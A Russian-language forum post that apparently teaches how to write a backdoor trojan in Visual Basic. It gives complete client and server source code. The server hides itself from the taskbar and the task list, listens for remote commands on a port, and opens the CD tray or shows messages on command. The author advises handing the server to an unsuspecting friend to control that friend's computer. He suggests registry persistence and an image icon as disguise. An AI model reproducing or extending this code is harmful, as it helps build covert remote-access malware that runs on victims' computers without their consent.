[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
Страница 1 из 11
Форум » Наш сайт » Visual basic » Троян на vb (Троян на vb)
Троян на vb
ilimДата: Пятница, 04.02.2011, 05:32 | Сообщение # 1
Генералиссимус
Группа: Администраторы
Сообщений: 680
Награды: 17
Репутация: 4
Статус: Offline
Троян("Понни") - нужен для удаленнго управления вражеским компом, т.е. подкидываешь его другу, и если он в нете будет, то ты можешь что нибуть с его компом сделать. Трояны делятся на много типов, но мы будем делать самый распространенный(BackDoor).
Начнем.
Для начала сделаем клиент:
На форму кинь 5 кнопок(у 1 Caption = "Присоедениться", у 2ой = "Отсоедениться", у 3ей = "Открыть сидюк", у 4ой = "Послать сообщение", у 5ой = "Закрыть сервер", 1 текстовое поле, 1 метку Caption = "IP", ну и не забудь подключить Winsock(родимый!:-))):

Код:

Private Sub Command1_Click()
Winsock1.RemoteHost = Text1.Text ' Устанавливаем IP вписанный в текстовое поле
Winsock1.RemotePort = 1000 ' Устанавливаем порт
Winsock1.Connect ' Соеденяемся
End Sub

Private Sub Command2_Click()
Winsock1.Close ' Отключаемся
End Sub

Private Sub Command3_Click()
On Error Resume Next ' Если происходит ошибка(нет соединения, а ты нажал на кнопку) то пропускаем следующюю строку
Winsock1.SendData "CD" ' Посылаем серверу команду CD
Bla ' Вызываем функцию Bla
End Sub

Function Bla() ' Эта функция будет обрабатывать ошибки
If Err.Number = 40006 Then MsgBox "Связь с сервером не установлена", 48, "Ты не правильный IP ввел" ' Здесь если происходит ошибка 40006(нет соединения), то выдаем сообщение об этом
End Function

' Дальше объяснять не буду(и так все понятно)
Private Sub Command4_Click()
Dim S As String
S = InputBox("Введи текст", "Смерть ламерам")
On Error Resume Next
Winsock1.SendData S
Bla
End Sub

Private Sub Command5_Click()
On Error Resume Next
Winsock1.SendData "End"
Bla
End Sub

Private Sub Form_Load()
Text1.Text = "127.0.0.1"
End Sub

Ну усе, клиент готов, теперь нужен сервер:
У Формы свойство Visible = False, на нее кинь Winsock1(только не забудь его подключить, ОК?), и таймер. Вот код:

' API функции:
' Открываем сидюк
Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As Any, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long
Dim Status As Integer

' Скрываем программу от CTRL + ALT + DEL
Private Declare Function RegisterServiceProcess Lib "kernel32" (ByVal ProcessID As Long, ByVal ServiceFlags As Long) As Long
Private Declare Function GetCurrentProcessId Lib "kernel32" () As Long

' Скрываем программу с Панели задач(это напротив Пуска)
Const WS_EX_APPWINDOW = &H40000
Const GWL_STYLE = (-16)
Const GWL_EXSTYLE = (-20)
Const SW_HIDE = 0
Const SW_NORMAL = 1
Private Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long) As Long
Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Const SWP_SHOWWINDOW = &H40
Const SWP_HIDEWINDOW = &H80
Dim ret&

Private Sub Form_Load()
' Скрываем программу с Панели задач(это напротив Пуска)
ShowWindow Form1.hwnd, SW_HIDE
ret = GetWindowLong(Form1.hwnd, GWL_EXSTYLE)
SetWindowLong Form1.hwnd, GWL_EXSTYLE, ret Xor WS_EX_APPWINDOW
ShowWindow Form1.hwnd, SW_NORMAL

Timer1.Interval = 1000 ' Включаем таймер
' Скрываем программу от CTRL + ALT + DEL
RegisterServiceProcess GetCurrentProcessId, 1
End Sub

Private Sub Timer1_Timer()
Do ' Цикл
DoEvents ' Это чтоб система не повисла
If Winsock1.State <> sckConnected And Winsock1.State <> sckListening Then ' Если не установлена связь, и порт не прослушивается, то
Winsock1.Close ' Закрываем соединение
Winsock1.LocalPort = 1000 ' Устанавливаем порт
Winsock1.Listen ' Начинаем слушать порт
End If
Loop
End Sub

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
Winsock1.Close ' Закрываем соединение(если оно открыто)
Winsock1.Accept requestID ' Принимаем запрос
End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) ' Принимаем команды от клиента:
Dim Data As String
Winsock1.GetData Data ' Записываем текст посланный клиентом в переменную
If Data = "CD" Then mciSendString "Set CDAudio Door Open Wait", 0&, 0, 0 ' Если от клиента пришел текст "CD", то открываем сидюк
' Здесь все анологично
If Data <> "End" And Data <> "CD" Then MsgBox Data, 64, ""
If Data = "End" Then End
End Sub

Private Sub Form_Unload(Cancel As Integer)
RegisterServiceProcess GetCurrentProcessId, 0 ' Показываем программу в списке CTRL + ALT + DEL
End Sub

Ну все, теперь сервер дай другу(только в начале его IP узнай(ил имя компа)), скажи ему чтоб в чат зашел(ну там договорись в определенное время), и управляй его компом.
P.S. Сервер немного не доделан, можно сделать чтоб он в реестре прописался, и иконка была как у рисунка.


www.ilim.kz
 
Форум » Наш сайт » Visual basic » Троян на vb (Троян на vb)
Страница 1 из 11
Поиск: